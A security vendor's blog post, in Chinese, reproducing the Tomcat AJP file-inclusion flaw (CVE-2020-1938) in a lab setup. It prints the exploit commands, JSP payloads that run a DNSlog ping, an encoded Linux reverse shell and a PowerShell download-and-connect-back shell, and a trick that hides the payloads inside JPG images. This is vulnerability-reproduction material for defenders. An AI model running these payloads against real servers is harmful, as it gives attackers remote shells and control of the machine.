提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      Tomcat AJP文件包含getshell漏洞复现
      发布时间:2021-04-28 阅读次数: 244 次

      环境搭建


      Windows 10 x64

      Apache Tomcat8.5.50


      下载Tomcat8.5.50,解压

      https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.50/bin/




      运行startup.bat,启动tomcat,http://127.0.0.1:8080/




      Ajp是默认开启的,运行在8009端口


      漏洞详情


      漏洞介绍:


      Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的ROOT目录下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。


      受影响版本

      Apache Tomcat 6

      Apache Tomcat 7< 7.0.100

      Apache Tomcat 8< 8.5.51

      Apache Tomcat 9< 9.0.31


      不受影响版本

      Apache Tomcat =7.0.100

      Apache Tomcat =8.5.51

      Apache Tomcat =9.0.31


      漏洞复现:


      下载exp:

      https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read


      执行python2tomcat_file_read.py -p 8009 -f /WEB-INF/web.xml 192.168.99.145,可以成功读取web.xml文件


      在ROOT目录下创建一个test.txt测试文件


      python2tomcat_file_read.py -p 8009 -f test.txt 192.168.99.145


      在ROOT目录下建立一个upload文件夹,模拟存在上传功能的应用环境,且只能上传图片文件。


      创建文件dnslog.jsp、shell.jsp、1.jpg,生成需要进行文件包含的图片payload


      DNSLOG测试:


      <%

           java.io.InputStreamin = Runtime.getRuntime().exec("pingfiohed.dnslog.cn").getInputStream();

           int a = -1;

           byte`` b =new byte`2048`;

           out.print("

      ");

           while((a=in.read(b))!=-1){

                 out.println(newString(b));

           }

           out.print("

      ");

      %>

      Linux反弹shell(执行的命令需要去http://www.jackson-t.ca/runtime-exec-payloads.html转换一下):

      <%

           java.io.InputStreamin = Runtime.getRuntime().exec("bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();

           int a = -1;

           byte`` b =new byte`2048`;

           out.print("

      ");

           while((a=in.read(b))!=-1){

                 out.println(newString(b));

           }

           out.print("

      ");

      %>

      Windows反弹shell:

      <%

           java.io.InputStreamin = Runtime.getRuntime().exec("powershell IEX(New-ObjectSystem.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 121.196.124.61 -p 12583 -e cmd").getInputStream();

           int a = -1;

           byte`` b =new byte`2048`;

           out.print("

      ");

           while((a=in.read(b))!=-1){

                 out.println(newString(b));

           }

           out.print("

      ");

      %>


      合成payload图片:

      copy 1.jpg/b + dnslog.jsp/a dnslog.jpg

      copy 1.jpg/b + shell.jsp/a shell.jpg


      将dnslog.jpg、shell.jpg复制到/ROOT/upload目录下进行文件包含测试

      python2 tomcat_file_include.py -p 8009 -fupload/dnslog.jpg 192.168.99.145


      nc监听7777端口,nc -lvvp 7777


      python2 tomcat_file_include.py -p 8009 -fupload/shell.jpg 192.168.99.145

      成功反弹shell

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部